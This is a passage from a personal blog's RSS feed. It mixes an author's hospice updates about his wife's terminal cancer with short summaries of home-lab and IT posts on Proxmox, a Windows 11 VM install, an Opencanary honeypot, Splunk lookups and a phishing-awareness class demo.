      <description>&lt;p&gt;Today was a weepy day for me. Telling stories with family and friends, reading your messages, and spending time thinking about all the great memories we made as a family. I love you Jami.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;How&amp;rsquo;s Jami Doing&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I don&amp;rsquo;t have much to report, nothing major has changed.&lt;/li&gt;&#xA;&lt;li&gt;She is surrounded by family and friends.&lt;/li&gt;&#xA;&lt;li&gt;The medical staff is increasing the medications to keep her comfortable.&lt;/li&gt;&#xA;&lt;li&gt;The interval between restlessness is decreasing, which requires more frequent medication.&lt;/li&gt;&#xA;&lt;li&gt;I will admit, I didn&amp;rsquo;t read as many text messages today. I wanted to focus more on my 1:1 conversations. I will catch up tonight and tomorrow.&lt;/li&gt;&#xA;&lt;li&gt;However, I enrolled other family members to read the handwritten letters and cards.&lt;/li&gt;&#xA;&lt;li&gt;I spoke with her a lot today. I miss her voice.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;strong&gt;How&amp;rsquo;s Jami&amp;rsquo;s Family Doing&lt;/strong&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>How&#39;s Jami Doing: Daily Update - Issue #3.5 - 12/2/2022</title>
      <link>https://jasonmurray.org/posts/2022/jami-status-3.5/</link>
      <pubDate>Fri, 02 Dec 2022 20:06:45 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2022/jami-status-3.5/</guid>
      <description>&lt;p&gt;Today we gathered our family and spent time with Jami. We told stories, laughed, hugged, and cried.&lt;/p&gt;&#xA;&lt;p&gt;I&amp;rsquo;ve asked you all to send me stories that I could read to Jami and you answered. I&amp;rsquo;ve been reading to her for hours. Some short, some long, some detailed, some to the point.  All made me cry.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;How&amp;rsquo;s Jami Doing&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;She is comfortable.&lt;/li&gt;&#xA;&lt;li&gt;She is surrounded by family.&lt;/li&gt;&#xA;&lt;li&gt;She is loved.&lt;/li&gt;&#xA;&lt;li&gt;She is still declining.&lt;/li&gt;&#xA;&lt;li&gt;She is not eating or drinking anymore.&lt;/li&gt;&#xA;&lt;li&gt;She can be restless and agitated, but it is manageable.&lt;/li&gt;&#xA;&lt;li&gt;She sleeps a lot.&lt;/li&gt;&#xA;&lt;li&gt;She is not talking at all. Previous days she would say a few words, not anymore.&lt;/li&gt;&#xA;&lt;li&gt;We are still at the hospice facility. I have no plans to move her at this time.&lt;/li&gt;&#xA;&lt;li&gt;Family is by her side.  We are telling stories, rubbing her back, helping her adjust, and being there for her.&lt;/li&gt;&#xA;&lt;li&gt;Nothing major has changed today.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;strong&gt;Parting Thought&lt;/strong&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>How&#39;s Jami Doing: Friends and Family Matter - Issue #3 - 12/2/2022</title>
      <link>https://jasonmurray.org/posts/2022/jami-status-3/</link>
      <pubDate>Fri, 02 Dec 2022 13:18:01 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2022/jami-status-3/</guid>
      <description>&lt;p&gt;I have the privilege of reading the messages each of you sent to Jami. Yes, this is a privilege!  It is hard. I pause a lot.  I cry a lot. But I power through because I know she wants to hear them!&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;What Have I Learned:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Jami&amp;rsquo;s impact on you all is overwhelming!&lt;/li&gt;&#xA;&lt;li&gt;She has touched many people in a variety of ways, but they all have a common theme, &amp;ldquo;&lt;strong&gt;Jami&amp;rsquo;s friendship made everyone a better person&lt;/strong&gt;&amp;rdquo;.&lt;/li&gt;&#xA;&lt;li&gt;I&amp;rsquo;ve heard from old friends, family, students, students who are now adults, teachers, long lost friends, relatives, and pretty much everyone Jami has touched over her life.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;strong&gt;Your Homework&lt;/strong&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>How&#39;s Jami Doing: Daily Update - Issue #2 - 12/1/2022</title>
      <link>https://jasonmurray.org/posts/2022/jami-status-2/</link>
      <pubDate>Thu, 01 Dec 2022 20:36:45 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2022/jami-status-2/</guid>
      <description>&lt;p&gt;Cancer does not behave in ways we expect.&lt;/p&gt;&#xA;&lt;p&gt;Jami and I walked into the hospice care center on Tuesday afternoon. Although she was a bit unsteady and had a bad headache, she walked under her own power. Our goal was to get in, figure out the proper pain medications, and walk out.&lt;/p&gt;&#xA;&lt;p&gt;Our plans changed.&lt;/p&gt;&#xA;&lt;p&gt;The cancer is progressing fast. Much faster then I expected.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;How&amp;rsquo;s Jami Doing&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;She has rapidly declined. Even the doctors and nurses were surprised by the diseases progression.&lt;/li&gt;&#xA;&lt;li&gt;Mid-afternoon I spoke with the medical team to get an authoritative answer on Jami&amp;rsquo;s prognoses. They told me there will be no recovery. Her condition is due to the diseases rapid progression, not the pain medication she is on.&lt;/li&gt;&#xA;&lt;li&gt;I originally assumed the high doses of pain killer were making her groggy and unresponsive. It was not. It&amp;rsquo;s most likely the cancer in her brain.&lt;/li&gt;&#xA;&lt;li&gt;You may want to sit down for this one&amp;hellip; I asked the team her life expectancy. While they can&amp;rsquo;t give me specific time, they have two general buckets.  Days to Weeks and Weeks to Months.  Jami is in the days to week category.&lt;/li&gt;&#xA;&lt;li&gt;Because of this news, I&amp;rsquo;ve asked for all of Jami&amp;rsquo;s immediate family to change their plans and come down as soon as possible. Everyone should be here today or tomorrow.&lt;/li&gt;&#xA;&lt;li&gt;Early this morning I asked hospice to prepare a plan to take her home. At this point, I don&amp;rsquo;t think I can do that anymore. Even with our full family team by her side, I don&amp;rsquo;t feel like we have the capability to keep her comfortable like the hospice facility can. As of 5PM today, I am holding off on trying to bring her home. We will continue to reevaluate as time passes.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;This is not the news we want to hear. I wish there was something better I could say, but I can&amp;rsquo;t.&lt;/p&gt;</description>
    </item>
    <item>
      <title>How&#39;s Jami Doing: The Big Update - Issue #1 - 11/30/2022</title>
      <link>https://jasonmurray.org/posts/2022/jami-status-1/</link>
      <pubDate>Wed, 30 Nov 2022 15:47:54 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2022/jami-status-1/</guid>
      <description>&lt;p&gt;I&amp;rsquo;ve created this website (also an email list) to keep Jami&amp;rsquo;s family and friends updated on what is happening. My intention is to send regular updates, but the exact format is still a work in progress.&lt;/p&gt;&#xA;&lt;p&gt;This is the first post, buckle up, it will be a long one.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Getting Everyone Up to Speed:&lt;/strong&gt; Since there are quite a few people to update, I need to level set first to make sure we are all on the same page.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Scooby-Doo and Reflection</title>
      <link>https://jasonmurray.org/posts/2022/scoobydoo/</link>
      <pubDate>Sat, 19 Nov 2022 18:18:50 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2022/scoobydoo/</guid>
      <description>&lt;h2 id=&#34;scooby-doo&#34;&gt;Scooby-Doo&lt;/h2&gt;&#xA;&lt;div style=&#34;position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;&#34;&gt;&#xA;      &lt;iframe allow=&#34;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen&#34; loading=&#34;eager&#34; referrerpolicy=&#34;strict-origin-when-cross-origin&#34; src=&#34;https://www.youtube.com/embed/-KCwVOYGUCc?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0&#34; style=&#34;position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;&#34; title=&#34;YouTube video&#34;&gt;&lt;/iframe&gt;&#xA;    &lt;/div&gt;&#xA;&#xA;&lt;h2 id=&#34;reflection&#34;&gt;Reflection&lt;/h2&gt;&#xA;&lt;div style=&#34;position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;&#34;&gt;&#xA;      &lt;iframe allow=&#34;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen&#34; loading=&#34;eager&#34; referrerpolicy=&#34;strict-origin-when-cross-origin&#34; src=&#34;https://www.youtube.com/embed/JfLkG5WJ7z4?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0&#34; style=&#34;position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;&#34; title=&#34;YouTube video&#34;&gt;&lt;/iframe&gt;&#xA;    &lt;/div&gt;</description>
    </item>
    <item>
      <title>Fake Phishing: Setup, detection, and take-down</title>
      <link>https://jasonmurray.org/posts/2022/fakephishing/</link>
      <pubDate>Sun, 13 Nov 2022 16:30:48 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2022/fakephishing/</guid>
      <description>&lt;h1 id=&#34;overview&#34;&gt;Overview&lt;/h1&gt;&#xA;&lt;p&gt;I&amp;rsquo;m teaching a class about Phishing. My goal is to explain with a real world example how inexpensive, easy to setup, and tricky it is tell a legitimate site from the real thing. To replicate the phishing site I bought a cheap domain, rented a VPS hosting server, setup DNS, and finally configured a phishing website using &lt;a href=&#34;https://github.com/kgretzky/evilginx2&#34;&gt;Evilginx2&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Within 6 minutes of getting the site up and operational, DigitalOcean (who I host with) and NetCraft (on behalf of Microsoft) sent a cease-and-desist.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Install Win11 Dev VMware Image on the Proxmox Hypervisor</title>
      <link>https://jasonmurray.org/posts/2022/install-win11-dev-proxmox/</link>
      <pubDate>Thu, 27 Oct 2022 22:23:17 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2022/install-win11-dev-proxmox/</guid>
      <description>&lt;h2 id=&#34;overview&#34;&gt;Overview&lt;/h2&gt;&#xA;&lt;p&gt;In addition to a variety of servers running critical Internet services, understanding the desktop environment is another core part of my home lab. In this guide, we will go over what it takes to install a Windows 11 development environment on a Proxmox virtualization server.&lt;/p&gt;&#xA;&lt;h2 id=&#34;details&#34;&gt;Details&lt;/h2&gt;&#xA;&lt;h3 id=&#34;assumptions-and-environment&#34;&gt;Assumptions and Environment&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;This guide assumes there is a working Proxmox environment.&lt;/li&gt;&#xA;&lt;li&gt;VM hypervisor setup:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Proxmox version: Virtual Environment 7.2-11&lt;/li&gt;&#xA;&lt;li&gt;System memory: 1T memory&lt;/li&gt;&#xA;&lt;li&gt;System drive: 10T drive, the majority is dedicated ZFS storage pool&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 id=&#34;download-the-windows-11-dev-image&#34;&gt;Download the Windows 11 Dev Image&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Start by downloading the free Windows 11 development environment from Microsoft: &lt;a href=&#34;https://developer.microsoft.com/en-us/windows/downloads/virtual-machines/&#34;&gt;https://developer.microsoft.com/en-us/windows/downloads/virtual-machines/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;ssh&lt;/code&gt; into the Proxmox server:&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ssh root@192.168.86.2&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;cd&lt;/code&gt; to a directory with sufficient storage to download a 45G image. In my environment I have a 10T ZFS pool where I store OS images:&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cd /storage-pool-1/OS-images/win11-dev&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;wget&lt;/code&gt; the file VMware image:&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;wget https://aka.ms/windev_VM_vmware&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;unzip&lt;/code&gt; the file:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I had to install &lt;code&gt;unzip&lt;/code&gt; first, it is not included with Proxmox:&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;apt install unzip&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;unzip&lt;/code&gt; the file:&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;unzip WinDev2210Eval.VMWare.zip&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 id=&#34;create-a-new-vm&#34;&gt;Create a new VM&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Configure the VM either from the GUI or the command line with the following settings (replace 666 with the next available VM ID):&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;qm create 666 --bios ovmf --efidisk0 storage-pool-1-dir:1 --cores 4 --cpu host --machine pc-q35-7.0 --memory 32000 --name 1229-win11-2 --net0 e1000,bridge=vmbr0,firewall=1 --onboot yes --ostype win11 --ide0 storage-pool-1-dir:16 --scsihw virtio-scsi-pci --sockets 4 --memory 32000 --tpmstate0 storage-pool-1-dir:1&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 id=&#34;convert-win11-vmdk-to-qcow2&#34;&gt;Convert Win11 VMDK to QCOW2&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Use the &lt;code&gt;qemu-img&lt;/code&gt; tool to convert the image from &lt;code&gt;vmdk&lt;/code&gt; to &lt;code&gt;qcow2&lt;/code&gt; and place it into the VM image directory. Depending on disk and CPU speed, this may take a while:&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;qemu-img convert -f vmdk /storage-pool-1/OS-images/win11-dev/WinDev2210Eval-disk1.vmdk -O qcow2 /storage-pool-1/vz/images/666/vm-666-disk-1.qcow2&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;&#xA;&lt;li&gt;Check and remember the size of the newly created qcow2 disk image. In this example, it is 43G:&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;ls -alh /storage-pool-1/vz/images/666/vm-666-disk-1.qcow2&#xA;-rw-r--r-- 1 root root 43G Oct 30 14:11 /storage-pool-1/vz/images/666/vm-666-disk-1.qcow2&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;When the VM was created, a default raw disk image was created. This is not need and should be deleted:&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;rm /storage-pool-1/vz/images/666/vm-666-disk-1.raw&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 id=&#34;edit-the-vm-configuration-to-use-the-new-qcow2-image&#34;&gt;Edit the VM configuration to use the new &lt;code&gt;qcow2&lt;/code&gt; image&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Edit the VM config:&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;vi /etc/pve/local/qemu-server/666.conf&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;&#xA;&lt;li&gt;Change the line:&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;ide0: storage-pool-1-dir:666/vm-666-disk-1.raw,size=16G&#xA;&lt;/code&gt;&lt;/pre&gt;to (this is where you will change the image size to the file image size gathered above, in this example 43G)&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ide0: storage-pool-1-dir:666/vm-666-disk-1.qcow2,size=43G&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 id=&#34;boot-the-vm-using-the-proxmox-console&#34;&gt;Boot the VM using the Proxmox console&lt;/h3&gt;&#xA;&lt;p&gt;Start the boot process:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Setup Opencanary Honeypot with Pushover Notifications</title>
      <link>https://jasonmurray.org/posts/2022/install-tcanary-ubuntu/</link>
      <pubDate>Sun, 23 Oct 2022 16:59:08 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2022/install-tcanary-ubuntu/</guid>
      <description>&lt;h2 id=&#34;overview&#34;&gt;Overview&lt;/h2&gt;&#xA;&lt;p&gt;Detecting malicious activity on your organizations network is critical to find and track down compromised or rogue devices. Dedicated &lt;a href=&#34;https://github.com/thinkst/opencanary&#34;&gt;Opencanary&lt;/a&gt; honeypot servers scattered throughout the network can quickly detect and alert when any device interrogates it&amp;rsquo;s services.&lt;/p&gt;&#xA;&lt;h2 id=&#34;assumptions-and-environment&#34;&gt;Assumptions and Environment&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Dedicated SFF computers (NUC, Raspberry PI&amp;rsquo;s, etc.)&lt;/li&gt;&#xA;&lt;li&gt;Base operating system: Ubuntu 22.04LTS server&lt;/li&gt;&#xA;&lt;li&gt;Working &lt;a href=&#34;https://pushover.net/&#34;&gt;Pushover&lt;/a&gt; account (I use the paid version)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;technical-details&#34;&gt;Technical Details&lt;/h2&gt;&#xA;&lt;p&gt;Instead of using Docker or Python virtual environments, I&amp;rsquo;ve dedicated an entire machine to this honeypot. The goal is run these devices on SFF computers, plant them all around the network, and reduce complexity.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Proxmox Initial Setup in my Home Lab</title>
      <link>https://jasonmurray.org/posts/2022/proxmox-initial-setup/</link>
      <pubDate>Sun, 16 Oct 2022 17:59:56 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2022/proxmox-initial-setup/</guid>
      <description>&lt;h2 id=&#34;overview&#34;&gt;Overview&lt;/h2&gt;&#xA;&lt;p&gt;I&amp;rsquo;ve replaced all my home lab VMware hypervisors with Proxmox. While we use &lt;code&gt;vmware&lt;/code&gt; at work, and gaining experience in this environment is good. I&amp;rsquo;ve found the &amp;ldquo;free&amp;rdquo; tier of &lt;code&gt;vmware&lt;/code&gt; for a home lab limiting and difficult to manage. Proxmox has been a pleasure to use, does not have hardware resources limits, and is a easy to keep updated.&lt;/p&gt;&#xA;&lt;h2 id=&#34;technical-details&#34;&gt;Technical Details&lt;/h2&gt;&#xA;&lt;h3 id=&#34;assumptions-and-environment&#34;&gt;Assumptions and Environment&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Server Disk Layout:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;300G boot array&lt;/li&gt;&#xA;&lt;li&gt;10T storage array&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 id=&#34;create-the-boot-media-using-macos&#34;&gt;Create the Boot Media (using macOS)&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Download the latest image: &lt;a href=&#34;https://www.proxmox.com/en/downloads/category/iso-images-pve&#34;&gt;https://www.proxmox.com/en/downloads/category/iso-images-pve&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Use balenaEtcher to write the &lt;code&gt;proxmox-ve_7.2-1.iso&lt;/code&gt; image to a USB drive.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 id=&#34;boot-from-usb-drive-and-install&#34;&gt;Boot from USB Drive and Install&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Follow the directions on screen.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 id=&#34;web-or-ssh-into-the-new-server&#34;&gt;Web or SSH Into the New Server&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Connect to the Web Interface: https://192.168.86.2:8006&lt;/p&gt;</description>
    </item>
    <item>
      <title>Export Infoblox IPv4 Networks into Splunk Lookup Table</title>
      <link>https://jasonmurray.org/posts/2022/infoblox-to-splunk/</link>
      <pubDate>Mon, 05 Sep 2022 16:34:41 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2022/infoblox-to-splunk/</guid>
      <description>&lt;p&gt;I want to search for Infoblox subnets in Splunk using lookup tables like this:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|inputlookup infoblox-ipv4-network-export.csv | search | where cidrmatch(CIDR,&amp;#34;128.252.120.128&amp;#34;)  | table CIDR, address*, netmask*, EA-School, comment, domain_name&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;What follows are the steps to export the data from Infoblox, convert the address and netmask to a CIDR block, import the data into a Splunk lookup table, then search the data using CIDR matching syntax.&lt;/p&gt;&#xA;&lt;h2 id=&#34;technical-details&#34;&gt;Technical Details&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;First, export the data from Infoblox using the Global CSV export console (Data Management -&amp;gt; IPAM -&amp;gt; CSV Job Manager -&amp;gt; CSV Export -&amp;gt; +):&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://jasonmurray.org/images/2022-09-05-16-45-09.png&#34;&gt;&lt;img src=&#34;https://jasonmurray.org/images/2022-09-05-16-45-09.png&#34; alt=&#34;Image of new csv export job&#34;&gt;&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>Using PowerShell to parse Office 365 TimeStamps in JSON format</title>
      <link>https://jasonmurray.org/posts/2022/ps-date-convert/</link>
      <pubDate>Sat, 09 Jul 2022 15:15:27 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2022/ps-date-convert/</guid>
      <description>&lt;p&gt;Given a JSON file with TimeStamp values from a Microsoft Office 365 Search History dump:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;PS /Users/jemurray&amp;gt; Get-Content ./ahg.txt -Raw&#xA;{&amp;#34;SearchHistoryItems&amp;#34;:[{&amp;#34;DisplayText&amp;#34;:&amp;#34;test1&amp;#34;,&amp;#34;TimeStamp&amp;#34;:637927286902301816},{&amp;#34;DisplayText&amp;#34;:&amp;#34;test2&amp;#34;,&amp;#34;TimeStamp&amp;#34;:637927286812301816},{&amp;#34;DisplayText&amp;#34;:&amp;#34;test3&amp;#34;,&amp;#34;TimeStamp&amp;#34;:637927120382301816},{&amp;#34;DisplayText&amp;#34;:&amp;#34;test4&amp;#34;,&amp;#34;TimeStamp&amp;#34;:637922768672301816},&#xA;....&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Convert the TimeStamp values to a human readable format:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;PS /Users/jemurray&amp;gt; Get-Content ./ahg.txt -Raw | ConvertFrom-Json | ForEach-Object {$_.PsObject.Properties.Value.TimeStamp} | Get-Date&#xA;&#xA;Wednesday, July 6, 2022 6:24:50 PM&#xA;Wednesday, July 6, 2022 6:24:41 PM&#xA;Wednesday, July 6, 2022 1:47:18 PM&#xA;Friday, July 1, 2022 12:54:27 PM&#xA;Thursday, June 30, 2022 9:43:30 PM&#xA;Thursday, June 30, 2022 1:47:13 PM&#xA;Wednesday, June 29, 2022 8:30:43 PM&#xA;Wednesday, June 29, 2022 8:28:10 PM&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;</description>
    </item>
    <item>
      <title>Google G-Suite Legacy to Google Workspace</title>
      <link>https://jasonmurray.org/posts/2022/googlegsuitelegacy/</link>
      <pubDate>Thu, 26 May 2022 14:48:18 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2022/googlegsuitelegacy/</guid>
      <description>&lt;h2 id=&#34;overview&#34;&gt;Overview&lt;/h2&gt;&#xA;&lt;p&gt;I&amp;rsquo;ve been a user of the Google G-Suite and Gmail products since their initial inception. In 2022 Google announced they will be discontinuing the free version of G-Suite with a custom domain. Users have until June 27, 2022 to migrate to the paid version. I&amp;rsquo;ve been looking for an excuse to migrate away from Google for a while now. Because of this decision, I&amp;rsquo;ve moved my email and custom domain to &lt;a href=&#34;https://ref.fm/u28047184&#34;&gt;https://fastmail.com/&lt;/a&gt;.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Discover. Create. Solve.</title>
      <link>https://jasonmurray.org/posts/2022/allisonhs/</link>
      <pubDate>Sun, 22 May 2022 20:23:50 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2022/allisonhs/</guid>
      <description>&lt;p&gt;This kid graduated high school Magna Cum Laude!&lt;/p&gt;&#xA;&lt;p&gt;We are proud of all your achievements and look forward to the closing of one chapter and the opening of another.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://jasonmurray.org/images/2022-05-23-20-25-41.png&#34;&gt;&lt;img src=&#34;https://jasonmurray.org/images/2022-05-23-20-25-41.png&#34; alt=&#34;Image of Allison and Dad on graduation day&#34;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;It&amp;rsquo;s time to go forth and do great things.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Connecting to old ssh servers with unsupported key exchange and cipher types</title>
      <link>https://jasonmurray.org/posts/2022/oldssh/</link>
